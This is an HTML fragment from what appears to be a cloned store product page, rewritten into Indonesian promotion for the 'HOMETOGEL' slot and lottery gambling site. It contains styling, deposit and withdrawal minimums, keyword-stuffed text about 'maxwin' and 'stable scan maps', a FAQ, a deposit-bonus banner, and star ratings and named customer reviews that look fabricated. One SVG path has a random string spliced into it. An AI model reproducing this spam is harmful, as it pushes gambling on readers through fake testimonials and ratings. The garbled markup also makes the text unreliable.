       <a href="https://entreprises-adaptees.dunia-cerah.world/rse/" rel="nofollow noreferrer" class="register">DAFTAR</a>
      </div>
              <style>
   .btn-x {
    display: inline-block;
    min-width: 200px;
    text-align: center;
    padding: 14px 28px;
    margin: 5px;
    /* Efek Yellow Chrome dengan gradasi metalik */
    background: linear-gradient(180deg, #FFD700 0%, #FFB700 50%, #FFA500 100%);
    color: #ffffff;
    font-weight: 700;
    border-radius: 10px;
    text-decoration: none;
    /* Memberikan sedikit tekstur border agar lebih tegas */
    border: 1px solid #D9A405;
    /* Bayangan lebih dalam untuk efek timbul */
    box-shadow: 0 4px 15px rgba(0, 0, 0, 0.2), inset 0 1px 0 rgba(255, 255, 255, 0.4);
    cursor: pointer;
    transition: all 0.3s ease;
    text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.3);
   }

   .btn-x:hover {
    /* Hover menjadi chrome yang lebih cerah/menyala */
    background: linear-gradient(180deg, #FFB700 0%, #FFD700 100%);
    box-shadow: 0 6px 20px rgba(255, 183, 0, 0.4);
    transform: translateY(-2px);
    color: #fff;
   }

   .right-rail:empty,
   .sidebar:empty,
   .product__aside:empty {
    display: none !important;
   }

   .page-grid {
    display: grid;
    grid-template-columns: 1fr;
    gap: 24px;
   }
</style>
             </div>
           </div>
        <br>
        <style>
/* ====================================
   INFO BOX REDESIGN - BLACK GOLD ELEGAN
   Background Putih dengan Aksen Black Gold
===================================== */

/* === VARIABLES === */
:root {
    --gold-primary: #d4af37;
    --gold-secondary: #b49450;
    --gold-light: #f5e7c8;
    --gold-soft: rgba(212, 175, 55, 0.15);
    --black-deep: #0a0a0a;
    --black-medium: #333333;
    --black-soft: #666666;
    --white-pure: #ffffff;
    --white-soft: #fafafa;
    --white-cream: #fffdf7;
    --shadow-elegant: 0 15px 35px rgba(0, 0, 0, 0.1);
    --shadow-gold: 0 5px 20px rgba(212, 175, 55, 0.2);
    --border-radius: 20px;
    --transition-smooth: all 0.3s ease;
}

/* === MAIN CONTAINER === */
.info-box-kaisar {
    max-width: 900px;
    margin: 5px auto;
    background: var(--white-pure);
    border-radius: var(--border-radius);
    border: 2px solid #d44537;
    box-shadow: var(--shadow-elegant), var(--shadow-gold);
    overflow: hidden;
    font-family: 'Poppins', sans-serif;
    position: relative;
}

/* Efek garis dekoratif di pojok */
.info-box-kaisar::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    width: 150px;
    height: 150px;
    background: radial-gradient(circle at top left, var(--gold-soft), transparent 70%);
    pointer-events: none;
    z-index: 0;
}

.info-box-kaisar::after {
    content: '';
    position: absolute;
    bottom: 0;
    right: 0;
    width: 150px;
    height: 150px;
    background: radial-gradient(circle at bottom right, var(--gold-soft), transparent 70%);
    pointer-events: none;
    z-index: 0;
}

/* === HEADER === */
.info-header-kaisar {
    background: linear-gradient(145deg, var(--black-deep), var(--black-medium));
    color: #d44537;
    text-align: center;
    padding: 22px 20px;
    font-size: 18px;
    font-weight: 700;
    letter-spacing: 1px;
    border-bottom: 3px solid #d44537;
    position: relative;
    z-index: 1;
    text-transform: uppercase;
    box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
}

/* Efek garis emas di header */
.info-header-kaisar::before {
    content: '';
    position: absolute;
    bottom: -3px;
    left: 25%;
    width: 50%;
    height: 3px;
    background: linear-gradient(90deg, transparent, var(--gold-light), transparent);
    border-radius: 3px;
}

.info-header-kaisar::after {
    content: '✦';
    position: absolute;
    right: 30px;
    top: 50%;
    transform: translateY(-50%);
    color: #d44537;
    font-size: 20px;
    opacity: 0.5;
}

/* === ROWS === */
.info-row-kaisar {
    display: flex;
    justify-content: space-between;
    align-items: center;
    padding: 8px 15px;
    border-bottom: 1px solid rgba(212, 175, 55, 0.15);
    position: relative;
    z-index: 1;
    background: var(--white-pure);
    transition: var(--transition-smooth);
}

.info-row-kaisar:hover {
    background: var(--white-cream);
    transform: translateX(5px);
    box-shadow: inset 0 0 0 1px rgba(212, 175, 55, 0.1);
}

.info-row-kaisar:last-child {
    border-bottom: none;
}

/* Hover effect untuk baris terakhir */
.info-row-kaisar:last-child:hover {
    border-radius: 0 0 var(--border-radius) var(--border-radius);
}

/* === LABEL === */
.info-label-kaisar {
    font-weight: 600;
    color: var(--black-deep);
    width: 35%;
    font-size: 11px;
    letter-spacing: 0.3px;
    position: relative;
    padding-left: 15px;
}

/* Titik emas di depan label */
.info-label-kaisar::before {
    content: '●';
    position: absolute;
    left: -5px;
    top: 50%;
    transform: translateY(-50%);
    color: #d44537;
    font-size: 10px;
    opacity: 0.7;
}

/* === VALUE === */
.info-value-kaisar {
    font-weight: 600;
    color: var(--black-medium);
    width: 65%;
    font-size: 11px;
    line-height: 1.6;
    text-align: right;
    padding-right: 10px;
}

/* Strong dalam value */
.info-value-kaisar strong {
    color: #d44537;
    font-weight: 700;
    background: rgba(212, 175, 55, 0.08);
    padding: 2px 8px;
    border-radius: 30px;
    margin-left: 5px;
    font-size: 11px;
}

/* === RATING SPECIAL === */
.rating-kaisar {
    color: #d44537 !important;
    font-weight: 700;
    display: flex;
    align-items: center;
    justify-content: flex-end;
    gap: 5px;
    flex-wrap: wrap;
}

.rating-kaisar strong {
    background: linear-gradient(145deg, #d44537, var(--gold-secondary));
    color: var(--white-pure) !important;
    padding: 4px 12px !important;
    border-radius: 30px;
    font-size: 13px;
    margin-left: 8px;
    text-transform: uppercase;
    letter-spacing: 0.5px;
    box-shadow: 0 2px 8px rgba(212, 175, 55, 0.3);
}

/* Bintang rating */
.rating-kaisar::before {
    content: '★★★★★';
    color: #d44537;
    letter-spacing: 3px;
    font-size: 16px;
    margin-right: 8px;
}

/* Sembunyikan bintang asli jika ada */
.rating-kaisar span,
.rating-kaisar .stars {
    color: #d44537;
}

/* === RESPONSIVE === */
@media (max-width: 768px) {
    .info-header-kaisar {
        font-size: 20px;
        padding: 18px 16px;
    }
    
    .info-row-kaisar {
        padding: 14px 18px;
    }
    
    .info-label-kaisar,
    .info-value-kaisar {
        font-size: 14px;
    }
}

@media (max-width: 600px) {
    .info-row-kaisar {
        flex-direction: column;
        align-items: flex-start;
        gap: 8px;
    }
    
    .info-label-kaisar {
        width: 100%;
        margin-bottom: 4px;
        padding-left: 0;
    }
    
    .info-label-kaisar::before {
        display: none;
    }
    
    .info-value-kaisar {
        width: 100%;
        text-align: left;
        padding-left: 15px;
        border-left: 3px solid #d44537;
    }
    
    .rating-kaisar {
        justify-content: flex-start;
        flex-wrap: wrap;
    }
    
    .info-header-kaisar::after {
        display: none;
    }
}

@media (max-width: 480px) {
    .info-box-kaisar {
        margin: 20px 15px;
    }
    
    .info-header-kaisar {
        font-size: 18px;
        padding: 15px 12px;
    }
    
    .info-row-kaisar {
        padding: 12px 15px;
    }
    
    .info-label-kaisar,
    .info-value-kaisar {
        font-size: 13px;
    }
    
    .rating-kaisar::before {
        font-size: 14px;
    }
    
    .rating-kaisar strong {
        font-size: 12px;
        padding: 3px 8px;
    }
}
</style>
<div class="info-box-kaisar">
    <div class="info-header-kaisar">
        INFORMASI LENGKAP HOMETOGEL
    </div>
    
    <div class="info-row-kaisar">
        <span class="info-label-kaisar">Nama Situs</span>
        <span class="info-value-kaisar"><strong>HOMETOGEL</strong></span>
    </div>
    
    <div class="info-row-kaisar">
        <span class="info-label-kaisar">Jenis Pasaran</span>
        <span class="info-value-kaisar">Slot Gacor 2026</span>
    </div>
    
    <div class="info-row-kaisar">
        <span class="info-label-kaisar">Minimal Deposit</span>
        <span class="info-value-kaisar"><strong>IDR 5,000</strong></span>
    </div>
    
    <div class="info-row-kaisar">
        <span class="info-label-kaisar">Minimal Withdraw</span>
        <span class="info-value-kaisar"><strong>IDR 50,000</strong></span>
    </div>
    
    <div class="info-row-kaisar">
        <span class="info-label-kaisar">Transaksi Pembayaran</span>
        <span class="info-value-kaisar">Transfer Bank Lokal • E-wallet • QRIS</span>
    </div>
    
    <div class="info-row-kaisar">
        <span class="info-label-kaisar">Rating</span>
        <span class="info-value-kaisar rating-kaisar">
        </span>
    </div>
</div>
          </div>
         </div>
         <input class='field' id='canvas_id' type='hidden' value='1'>
         <input class='field' id='product_id' type='hidden' value='357'>
         </form>
         <div class="lp-9201972239913465156">
  <style>
    .lp-9201972239913465156{
      --bg: #100e0a;
      --surface: #1c1812;
      --surface-2: #2c261c;
      --text: #f4efe4;
      --muted: #c8bda8;
      --accent: #e7c27d;
      --accent-2: #f0d9a8;
      --border: #3e372c;
      --radius: 22px;
      --shadow: 0 18px 50px rgba(0,0,0,.35);
      --glow: 0 0 24px rgba(231,194,125,.18);
      --heading-font: Georgia, 'Times New Roman', serif;
      --body-font: Arial, sans-serif;
      background: var(--bg);
      color: var(--text);
      font-family: var(--body-font);
      border-radius: var(--radius);
      padding: 22px;
      overflow: hidden;
      position: relative;
      box-shadow: var(--shadow);
    }
    .lp-9201972239913465156,
    .lp-9201972239913465156 h1,.lp-9201972239913465156 h2,.lp-9201972239913465156 h3,
    .lp-9201972239913465156 p,.lp-9201972239913465156 li,.lp-9201972239913465156 td,.lp-9201972239913465156 th,
    .lp-9201972239913465156 summary,.lp-9201972239913465156 label,.lp-9201972239913465156 span,.lp-9201972239913465156 a,
    .lp-9201972239913465156 strong,.lp-9201972239913465156 b,.lp-9201972239913465156 .label,.lp-9201972239913465156 .value,
    .lp-9201972239913465156 .faq-question,.lp-9201972239913465156 .faq-answer{color:var(--text);}
    .lp-9201972239913465156 .muted,.lp-9201972239913465156 small{color:var(--muted);}
    .lp-9201972239913465156 strong.brand,.lp-9201972239913465156 b.brand,.lp-9201972239913465156 .accent{color:var(--accent);font-weight:800;}
    .lp-9201972239913465156 h1,.lp-9201972239913465156 h2,.lp-9201972239913465156 h3{font-family:var(--heading-font);letter-spacing:.2px;}
    .lp-9201972239913465156 .hero-strip{display:flex;gap:10px;flex-wrap:wrap;margin-bottom:14px}
    .lp-9201972239913465156 .chip{padding:8px 12px;border:1px solid var(--border);background:linear-gradient(180deg,var(--surface),var(--surface-2));border-radius:999px;box-shadow:var(--glow);font-size:12px}
    .lp-9201972239913465156 h1{font-size:clamp(28px,4vw,46px);line-height:1.05;margin:4px 0 10px}
    .lp-9201972239913465156 .accent-divider{height:2px;width:96px;background:linear-gradient(90deg,var(--accent),transparent);margin:10px 0 18px}
    .lp-9201972239913465156 .info-grid{display:grid;grid-template-columns:repeat(4,minmax(0,1fr));gap:12px;margin:18px 0}
    .lp-9201972239913465156 .info-card{background:linear-gradient(180deg,var(--surface),var(--surface-2));border:1px solid var(--border);border-radius:18px;padding:14px;min-height:88px}
    .lp-9201972239913465156 .label{font-size:12px;text-transform:uppercase;letter-spacing:.12em;color:var(--muted);display:block;margin-bottom:6px}
    .lp-9201972239913465156 .value{font-size:16px;font-weight:700;display:block}
    .lp-9201972239913465156 .highlight-box{background:linear-gradient(160deg,rgba(231,194,125,.08),rgba(255,255,255,.02));border:1px solid var(--border);border-radius:20px;padding:18px 18px 16px;box-shadow:var(--shadow)}
    .lp-9201972239913465156 .highlight-box p{margin:0 0 10px;line-height:1.75;text-align:justify}
    .lp-9201972239913465156 .content-grid{display:grid;grid-template-columns:1.15fr .85fr;gap:16px;margin-top:18px}
    .lp-9201972239913465156 .featured-card,.lp-9201972239913465156 .side-card,.lp-9201972239913465156 .faq-section,.lp-9201972239913465156 .review-section{background:var(--surface);border:1px solid var(--border);border-radius:20px;padding:18px}
    .lp-9201972239913465156 .side-rail{display:grid;gap:12px}
    .lp-9201972239913465156 ul{padding-left:18px;margin:10px 0 0}
    .lp-9201972239913465156 li{margin:8px 0;line-height:1.6}
    .lp-9201972239913465156 .badge-cloud{display:flex;flex-wrap:wrap;gap:8px;margin:10px 0 14px}
    .lp-9201972239913465156 .badge-cloud span{border:1px dashed var(--border);background:rgba(255,255,255,.03);padding:7px 10px;border-radius:999px;font-size:12px;color:var(--muted)}
    .lp-9201972239913465156 .faq-section{margin-top:18px}
    .lp-9201972239913465156 .faq-grid{display:grid;grid-template-columns:repeat(2,minmax(0,1fr));gap:12px}
    .lp-9201972239913465156 details{background:linear-gradient(180deg,var(--surface),var(--surface-2));border:1px solid var(--border);border-radius:16px;overflow:hidden}
    .lp-9201972239913465156 summary{list-style:none;padding:14px 14px;cursor:pointer;display:flex;align-items:center;gap:10px;font-weight:700}
    .lp-9201972239913465156 summary::-webkit-details-marker{display:none}
    .lp-9201972239913465156 .faq-number{display:inline-flex;align-items:center;justify-content:center;width:28px;height:28px;border-radius:50%;background:rgba(231,194,125,.12);color:var(--accent);font-size:12px;flex:0 0 auto}
    .lp-9201972239913465156 .faq-icon{margin-left:auto;width:10px;height:10px;border-right:2px solid var(--accent);border-bottom:2px solid var(--accent);transform:rotate(45deg);transition:.2s}
    .lp-9201972239913465156 details[open] .faq-icon{transform:rotate(225deg)}
    .lp-9201972239913465156 .faq-answer{padding:0 14px 14px;line-height:1.7;color:var(--muted)}
    .lp-9201972239913465156 .review-list{display:grid;grid-template-columns:repeat(3,minmax(0,1fr));gap:12px;margin-top:14px}
    .lp-9201972239913465156 .review-card{background:linear-gradient(180deg,var(--surface),var(--surface-2));border:1px solid var(--border);border-radius:18px;padding:14px}
    .lp-9201972239913465156 blockquote{margin:0;color:var(--text);line-height:1.7}
    .lp-9201972239913465156 .review-meta{margin-top:10px;color:var(--muted);font-size:13px}
    .lp-9201972239913465156 .note{margin-top:12px;padding:12px 14px;border-left:3px solid var(--accent);background:rgba(255,255,255,.03);border-radius:12px;color:var(--muted)}
    @media (max-width: 640px){
      .lp-9201972239913465156{padding:16px}
      .lp-9201972239913465156 .info-grid,.lp-9201972239913465156 .content-grid,.lp-9201972239913465156 .faq-grid,.lp-9201972239913465156 .review-list{grid-template-columns:1fr}
    }
  
/* contrast-lock auto (dark) */
.lp-9201972239913465156{color:var(--text)!important}
.lp-9201972239913465156 h1,.lp-9201972239913465156 h2,.lp-9201972239913465156 h3,.lp-9201972239913465156 h4,.lp-9201972239913465156 h5,.lp-9201972239913465156 h6,
.lp-9201972239913465156 p,.lp-9201972239913465156 li,.lp-9201972239913465156 td,.lp-9201972239913465156 th,.lp-9201972239913465156 dt,.lp-9201972239913465156 dd,
.lp-9201972239913465156 span,.lp-9201972239913465156 label,.lp-9201972239913465156 summary,.lp-9201972239913465156 a,.lp-9201972239913465156 strong,.lp-9201972239913465156 b,
.lp-9201972239913465156 em,.lp-9201972239913465156 i,.lp-9201972239913465156 small,.lp-9201972239913465156 blockquote,.lp-9201972239913465156 cite,.lp-9201972239913465156 figcaption,
.lp-9201972239913465156 .label,.lp-9201972239913465156 .value,.lp-9201972239913465156 .faq-question,.lp-9201972239913465156 .faq-answer,
.lp-9201972239913465156 .faq-answer p,.lp-9201972239913465156 .review-section,.lp-9201972239913465156 .review-section p,
.lp-9201972239913465156 .highlight-box,.lp-9201972239913465156 .highlight-box p,.lp-9201972239913465156 .info-card,
.lp-9201972239913465156 .info-card .label,.lp-9201972239913465156 .info-card .value{
  color:var(--text)!important;
}
.lp-9201972239913465156 .muted,.lp-9201972239913465156 small.muted,.lp-9201972239913465156 .faq-note,.lp-9201972239913465156 .text-muted{
  color:var(--muted)!important;
}
.lp-9201972239913465156 strong.brand,.lp-9201972239913465156 b.brand,.lp-9201972239913465156 a.accent,.lp-9201972239913465156 .accent,
.lp-9201972239913465156 a strong.brand,.lp-9201972239913465156 a b.brand{
  color:var(--accent)!important;
}
.lp-9201972239913465156 summary::-webkit-details-marker{color:var(--text)}
</style>

  <div class="hero-strip">
    <span class="chip">Bedah Maxwin Lobi</span>
    <span class="chip">Peta Scan Stabil</span>
    <span class="chip">Malam Ini</span>
  </div>

  <h1>HOMETOGEL Bedah Maxwin Lobi x entreprises-adaptees - Peta Scan Login Stabil malam ini</h1>
  <div class="accent-divider"></div>

  <div class="info-grid">
    <div class="info-card"><span class="label">Fokus Utama</span><span class="value">Ritme maxwin yang rapi</span></div>
    <div class="info-card"><span class="label">Arah Baca</span><span class="value">Peta scan stabil</span></div>
    <div class="info-card"><span class="label">Nuansa Brand</span><span class="value">Premium dan terukur</span></div>
    <div class="info-card"><span class="label">Momen Sorot</span><span class="value">Malam ini</span></div>
  </div>

  <div class="highlight-box">
    <p><a href="https://linkeboni.me/gas"><strong class="brand">HOMETOGEL</strong></a> dibaca lewat sudut yang lebih tajam: bagaimana lobi memengaruhi ritme, bagaimana peta scan membantu menata langkah, dan kenapa stabilitas kecil sering memberi hasil yang terasa. Di halaman ini, fokusnya bukan sekadar ramai, tetapi jelas dan enak diikuti.</p>
    <p class="muted">Kalau Anda mencari alur yang tidak bertele-tele, pendekatan ini membantu membaca momen dengan lebih tenang. Setiap bagian disusun agar konteksnya cepat tertangkap tanpa kehilangan detail penting.</p>
  </div>

  <div class="content-grid">
    <section class="featured-card">
      <h2>Bedah konteks lobi dan peta scan</h2>
      <div class="badge-cloud">
        <span>Lobi terarah</span>
        <span>Scan stabil</span>
        <span>Maxwin</span>
        <span>Malam ini</span>
      </div>
      <ul>
        <li>Lobi yang tertata membuat pembaca lebih mudah menangkap pola sebelum mengambil keputusan.</li>
        <li>Peta scan stabil berguna sebagai bingkai baca, bukan sebagai janji kosong yang berlebihan.</li>
        <li>Nuansa <strong class="brand">HOMETOGEL</strong> di sini dibangun agar terasa premium, ringkas, dan tidak melebar ke topik lain.</li>
        <li>Fokus utamanya adalah memahami ritme, melihat titik kuat, lalu menyusun langkah yang lebih tenang.</li>
      </ul>
      <h3>Kenapa sudut ini menarik</h3>
      <p>Karena pembaca tidak hanya ingin melihat istilah besar, tetapi juga ingin tahu bagaimana istilah itu bekerja saat dibaca bersama. Di titik ini, lobi dan peta scan saling melengkapi sebagai kerangka yang lebih mudah dipahami.</p>
    </section>

    <aside class="side-rail">
      <div class="side-card">
        <h3>Inti pembacaan</h3>
        <p class="muted">Bedah maxwin di sini bukan soal jargon, melainkan soal menyaring sinyal yang relevan dan menempatkannya pada momen yang tepat.</p>
      </div>
      <div class="side-card">
        <h3>Yang terasa menonjol</h3>
        <ul>
          <li>Alur masuk cepat dibaca.</li>
          <li>Bahasa tetap natural dan tidak kaku.</li>
          <li>Contoh konteks dibuat dekat dengan pengalaman pengguna.</li>
        </ul>
      </div>
      <div class="side-card">
        <h3>Panduan singkat</h3>
        <p class="muted">Gunakan halaman ini sebagai referensi bacaan, lalu cocokkan dengan ritme Anda sendiri supaya keputusan tidak terburu-buru.</p>
      </div>
    </aside>
  </div>

  <section class="faq-section" id="faq-9201972239913465156">
    <div class="faq-heading">
      <span class="faq-eyebrow muted">PUSAT INFORMASI</span>
      <h2>FAQ Seputar HOMETOGEL</h2>
      <p class="muted">Bagian ini menjawab hal-hal yang sering dicari sebelum orang merasa nyaman membaca dan menelusuri <strong class="brand">HOMETOGEL</strong>.</p>
    </div>
    <div class="faq-grid">
      <details open>
        <summary><span class="faq-number">01</span><span class="faq-question">Apa yang membuat HOMETOGEL terasa berbeda?</span><span class="faq-icon"></span></summary>
        <div class="faq-answer"><p><strong class="brand">HOMETOGEL</strong> terasa berbeda karena penyajiannya tidak berisik. Fokusnya ada pada alur yang ringkas, tampilan yang premium, dan cara baca yang lebih mudah ditangkap sejak awal.</p></div>
      </details>
      <details>
        <summary><span class="faq-number">02</span><span class="faq-question">Bagaimana cara memakai HOMETOGEL dengan nyaman?</span><span class="faq-icon"></span></summary>
        <div class="faq-answer"><p>Mulailah dari halaman utama <strong class="brand">HOMETOGEL</strong>, baca bagian yang paling relevan dengan kebutuhan Anda, lalu lanjutkan ke detail yang benar-benar ingin dipahami. Cara ini membuat pengalaman terasa lebih tertata.</p></div>
      </details>
      <details>
        <summary><span class="faq-number">03</span><span class="faq-question">Apakah HOMETOGEL cocok untuk pemula?</span><span class="faq-icon"></span></summary>
        <div class="faq-answer"><p>Cocok, selama Anda suka penjelasan yang tidak berputar-putar. <strong class="brand">HOMETOGEL</strong> menolong pemula karena bahasanya lebih bersih, sehingga lebih gampang diikuti tanpa harus membaca ulang berkali-kali.</p></div>
      </details>
      <details>
        <summary><span class="faq-number">04</span><span class="faq-question">Apa keuntungan utama yang sering dicari di HOMETOGEL?</span><span class="faq-icon"></span></summary>
        <div class="faq-answer"><p>Keunggulan yang paling dicari biasanya ada pada kejelasan alur, kesan stabil, dan pengalaman membaca yang tidak melelahkan. Di <strong class="brand">HOMETOGEL</strong>, itu diposisikan sebagai nilai utama.</p></div>
      </details>
      <details>
        <summary><span class="faq-number">05</span><span class="faq-question">Bagaimana HOMETOGEL membantu saat ingin membaca ritme malam ini?</span><span class="faq-icon"></span></summary>
        <div class="faq-answer"><p>Dengan menampilkan konteks yang lebih fokus, <strong class="brand">HOMETOGEL</strong> memudahkan Anda melihat pola tanpa harus menebak-nebak terlalu lama. Hasilnya, bacaan terasa lebih tenang dan terarah.</p></div>
      </details>
      <details>
        <summary><span class="faq-number">06</span><span class="faq-question">Bagaimana dukungan bantuan di HOMETOGEL?</span><span class="faq-icon"></span></summary>
        <div class="faq-answer"><p>Biasanya yang dicari adalah respons yang jelas dan tidak berbelit. Karena itu, pengalaman di <strong class="brand">HOMETOGEL</strong> akan lebih nyaman jika dukungannya cepat dipahami dan komunikasinya ringkas.</p></div>
      </details>
    </div>
    <div class="note">Catatan penting: gunakan informasi ini secara bijak, baca dengan tenang, dan pastikan keputusan Anda tetap sesuai kebutuhan pribadi.</div>
  </section>

  <section class="review-section">
    <h2>Ulasan setelah akses dan mencoba di HOMETOGEL</h2>
    <div class="review-list">
      <div class="review-card">
        <blockquote>“Saya suka karena alurnya enak dibaca dari awal. Begitu masuk <strong class="brand">HOMETOGEL</strong>, saya langsung paham bagian mana yang perlu diperhatikan tanpa merasa kewalahan.”</blockquote>
        <div class="review-meta">Raka Pratama · Bandung · 12 Juni 2026</div>
      </div>
      <div class="review-card">
        <blockquote>“Yang paling terasa itu kenyamanannya. Navigasi di <strong class="brand">HOMETOGEL</strong> tidak bikin pusing, jadi saya bisa fokus menikmati ritme bacaan dan melihat konteksnya lebih tenang.”</blockquote>
        <div class="review-meta">Nadia Permata · Surabaya · 18 Juni 2026</div>
      </div>
      <div class="review-card">
        <blockquote>“Setelah mencoba beberapa bagian, kesan saya cukup positif. <strong class="brand">HOMETOGEL</strong> memberi pengalaman yang rapi, simpel, dan tetap terasa premium saat dibuka lewat perangkat mobile.”</blockquote>
        <div class="review-meta">Dimas Saputra · Yogyakarta · 24 Juni 2026</div>
      </div>
    </div>
  </section>
</div>
        <div class='cqd-banner m-design__cqd-banner'>
         <div class='cqd-banner__container'>
          <div class="tp-text-note cqd-banner__banner tp-text-note--information tp-text-note--on-light">
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent tp-text-note--icon">
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="24" height="24" focusable="false" aria-hidden="true">
             <path d="M28.595 5.507c-.198-1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo-.372.988.222 1.917 1.273 2.005 1.357.113 3.646.222 7.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo 2.847.976 2.148-2.089 5.57-5.816 9.259-11.392 3.87-5.85 5.615-9.665 6.377-11.688.372-.988-.221-1.917-1.273-2.004-1.357-.113-3.645-.223-7.415-.223h-.023c.015-.711.024-1.458.024-2.242 0-4.794-.308-8.222-.606-10.416Z"></path>
            </svg>
           </span>
           <div class='tp-text-note__body'>
            <p class='tp-text-note__text'> Nikmati <span class="strong">Bonus Deposit 5%</span> Bagi Pemain Setia <span class="strong">HOMETOGEL!</p>
           </div>
          </div>
          <div class='m-design__tip-container jsProductTips' style=''></div>
          <div class='m-design__buy-ctas'>
           <div class='m-design__cart-buy-now jsApplePayCheckout hidden apple-pay-button-with-text' data-action='click-&gt;utilities--ab-test#endTestClick click-&gt;rudderstack--checkout-clicked#track' data-checkout--checkout-target='applePayBuyNow' data-designId='74165272' data-rudderstack-checkout-type='apple-pay'></div>
          </div>
         </div>
         <div data-also-available-products-target="loader" class="tp-loader m-tab-nav__loader tp-loader--inline hidden">
          <div class='tp-loader__spinner updating tp-loader__spinner--inline'></div>
         </div>
         </section>
        </div>
       </div>
       <div class='m-design__ratings'>
        <h3 class='m-design__ratings-heading'>MARKET SITUS HOMETOGEL</h3>
        <div class='m-design__ratings-services'>
         <div class='m-design__ratings-service'>
          <div class='m-design__ratings-service-name'>Murah!</div>
          <div class='m-design__ratings-service-stars'>
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/star_warning400-140c727473c9c31e0f5d9ffc791a31dc3ba8dfccc44380702fd86fd805ef817d.svg" loading="lazy" height="20" width="20" aria_hidden="true" focusable="false">
           </span>
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/star_warning400-140c727473c9c31e0f5d9ffc791a31dc3ba8dfccc44380702fd86fd805ef817d.svg" loading="lazy" height="20" width="20" aria_hidden="true" focusable="false">
           </span>
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/star_warning400-140c727473c9c31e0f5d9ffc791a31dc3ba8dfccc44380702fd86fd805ef817d.svg" loading="lazy" height="20" width="20" aria_hidden="true" focusable="false">
           </span>
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/star_warning400-140c727473c9c31e0f5d9ffc791a31dc3ba8dfccc44380702fd86fd805ef817d.svg" loading="lazy" height="20" width="20" aria_hidden="true" focusable="false">
           </span>
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/star_half_warning400-9c7cfa17d17f2c09f38dcb6a7a16abe5c16e8a8b4153c91472d7d8ac39798e4e.svg" loading="lazy" height="20" width="20" aria_hidden="true" focusable="false">
           </span>
          </div>
          <div class='m-design__ratings-details'>4.9 out of 5</div>
         </div>
         <div class='m-design__ratings-service'>
          <div class='m-design__ratings-service-name'>SITUS HOMETOGEL</div>
          <div class='m-design__ratings-service-stars'>
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/star_warning400-140c727473c9c31e0f5d9ffc791a31dc3ba8dfccc44380702fd86fd805ef817d.svg" loading="lazy" height="20" width="20" aria_hidden="true" focusable="false">
           </span>
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/star_warning400-140c727473c9c31e0f5d9ffc791a31dc3ba8dfccc44380702fd86fd805ef817d.svg" loading="lazy" height="20" width="20" aria_hidden="true" focusable="false">
           </span>
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/star_warning400-140c727473c9c31e0f5d9ffc791a31dc3ba8dfccc44380702fd86fd805ef817d.svg" loading="lazy" height="20" width="20" aria_hidden="true" focusable="false">
           </span>
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/star_warning400-140c727473c9c31e0f5d9ffc791a31dc3ba8dfccc44380702fd86fd805ef817d.svg" loading="lazy" height="20" width="20" aria_hidden="true" focusable="false">
           </span>
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/star_half_warning400-9c7cfa17d17f2c09f38dcb6a7a16abe5c16e8a8b4153c91472d7d8ac39798e4e.svg" loading="lazy" height="20" width="20" aria_hidden="true" focusable="false">
           </span>
          </div>
          <div class='m-design__ratings-details'>4.9 out of 5</div>
         </div>
         <div class='m-design__ratings-service'>
          <div class='m-design__ratings-service-name'>Bonus Terbesar</div>
          <div class='m-design__ratings-service-stars'>
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/star_warning400-140c727473c9c31e0f5d9ffc791a31dc3ba8dfccc44380702fd86fd805ef817d.svg" loading="lazy" height="20" width="20" aria_hidden="true" focusable="false">
           </span>
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/star_warning400-140c727473c9c31e0f5d9ffc791a31dc3ba8dfccc44380702fd86fd805ef817d.svg" loading="lazy" height="20" width="20" aria_hidden="true" focusable="false">
           </span>
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/star_warning400-140c727473c9c31e0f5d9ffc791a31dc3ba8dfccc44380702fd86fd805ef817d.svg" loading="lazy" height="20" width="20" aria_hidden="true" focusable="false">
           </span>
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/star_warning400-140c727473c9c31e0f5d9ffc791a31dc3ba8dfccc44380702fd86fd805ef817d.svg" loading="lazy" height="20" width="20" aria_hidden="true" focusable="false">
           </span>
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/star_half_warning400-9c7cfa17d17f2c09f38dcb6a7a16abe5c16e8a8b4153c91472d7d8ac39798e4e.svg" loading="lazy" height="20" width="20" aria_hidden="true" focusable="false">
           </span>
          </div>
          <div class='m-design__ratings-details'>4.6 out of 5</div>
         </div>
        </div>
        </form>
       </div>
       <div class='m-design-product-info'>
        <div class='contain contain--wide-3'>
         <div class='m-design-product-info-and-faqs'>
          <div class='m-design-product-info--product-quality'>
